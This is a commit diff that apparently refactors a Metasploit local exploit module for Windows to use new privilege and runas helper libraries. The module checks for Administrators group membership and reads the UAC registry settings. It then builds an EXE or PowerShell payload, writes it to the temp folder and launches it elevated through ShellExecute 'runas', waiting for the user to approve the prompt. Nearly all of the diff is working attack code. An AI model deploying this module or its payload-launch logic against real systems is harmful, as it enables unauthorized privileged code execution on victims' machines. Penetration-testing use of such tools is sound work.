Added priv lib and runas lib
Cleaned up code with using the new lib filesbug/bundler_fix
parent
9695b2d662
commit
868b70c9ed
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@ -6,15 +6,12 @@
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##
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##
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require 'msf/core'
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require 'msf/core'
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require 'msf/core/exploit/exe'
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require 'msf/core/exploit/powershell'
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class Metasploit3 < Msf::Exploit::Local
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class Metasploit3 < Msf::Exploit::Local
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Rank = ExcellentRanking
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Rank = ExcellentRanking
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include Exploit::EXE
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include Post::Windows::Priv
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include Post::File
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include Post::Windows::Runas
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include Exploit::Powershell
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def initialize(info={})
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def initialize(info={})
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super( update_info( info,
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super( update_info( info,
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@ -51,78 +48,50 @@ class Metasploit3 < Msf::Exploit::Local
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def check
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def check
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session.readline
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session.readline
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print_status('Checking admin status...')
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print_status('Checking admin status...')
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whoami = session.sys.process.execute('cmd /c whoami /groups',
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admin_group = is_in_admin_group?
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nil,
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if admin_group.nil?
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{'Hidden' => true, 'Channelized' => true}
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print_error('Either whoami is not there or failed to execute')
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)
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print_error('Continuing under assumption you already checked...')
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cmdout = []
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return Exploit::CheckCode::Unknown
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while(cmdoutput = whoami.channel.read)
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cmdout << cmdoutput
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end
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if cmdout.size == 0
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fail_with(Exploit::Failure::None, "Either whoami is not there or failed to execute")
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else
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else
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isinadmins = cmdout.join.scan(/S-1-5-32-544/)
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if admin_group
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if isinadmins.size > 0
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print_good('Part of Administrators group! Continuing...')
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print_good('Part of Administrators group! Continuing...')
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return Exploit::CheckCode::Vulnerable
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return Exploit::CheckCode::Vulnerable
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else
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else
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print_error('Not in admins group, cannot escalate with this module')
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print_error("Not in admins group, cannot escalate with this module")
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print_error('Exiting...')
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return Exploit::CheckCode::Safe
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return Exploit::CheckCode::Safe
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end
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end
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end
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end
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end
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end
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def exploit
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def exploit
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admin_check = check
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admin_check = check
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if admin_check.join =~ /safe/
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if admin_check.join =~ /safe/
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return Exploit::CheckCode::Safe
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fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
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end
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end
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root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
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if is_uac_enabled?
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open_key = session.sys.registry.open_key(root_key, base_key)
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lua_setting = open_key.query_value('EnableLUA')
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if lua_setting.data == 1
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print_status "UAC is Enabled, checking level..."
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print_status "UAC is Enabled, checking level..."
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else
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else
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print_good "UAC is not enabled, no prompt for the user"
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if is_in_admin_group?
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fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
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else
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fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
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end
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end
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end
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uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
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case get_uac_level
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when UAC_NO_PROMPT
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case uac_level.data
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print_good "UAC is not enabled, no prompt for the user"
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when 2
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else
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print_status "UAC is set to 'Always Notify'"
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print_status "The user will be prompted, wait for them to click 'Ok'"
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print_status "The user will be prompted, wait for them to click 'Ok'"
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when 5
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print_debug "UAC is set to Default"
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print_debug "The user will be prompted, wait for them to click 'Ok'"
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when 0
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print_good "UAC is not enabled, no prompt for the user"
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end
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end
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#
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#
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# Generate payload and random names for upload
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# Generate payload and random names for upload
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#
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#
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case datastore["TECHNIQUE"]
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case datastore["TECHNIQUE"]
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when "EXE"
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when "EXE"
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exe_payload = generate_payload_exe
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execute_exe(datastore["FILENAME"],datastore["PATH"],datastore["UPLOAD"])
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payload_filename = datastore["FILENAME"] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
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payload_path = datastore["PATH"] || expand_path("%TEMP%")
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cmd_location = "#{payload_path}\\#{payload_filename}"
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if datastore["UPLOAD"]
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print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
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write_file(cmd_location, exe_payload)
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else
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#print_error("No Upload Path!")
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fail_with(Exploit::Failure::BadConfig, "No Upload Path!")
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return
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end
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command, args = cmd_location,nil
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session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
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when "PSH"
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when "PSH"
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command, args = "cmd.exe", " /c #{cmd_psh_payload(payload.encoded)}"
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execute_psh
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end
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end
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session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
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end
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end
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end
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end
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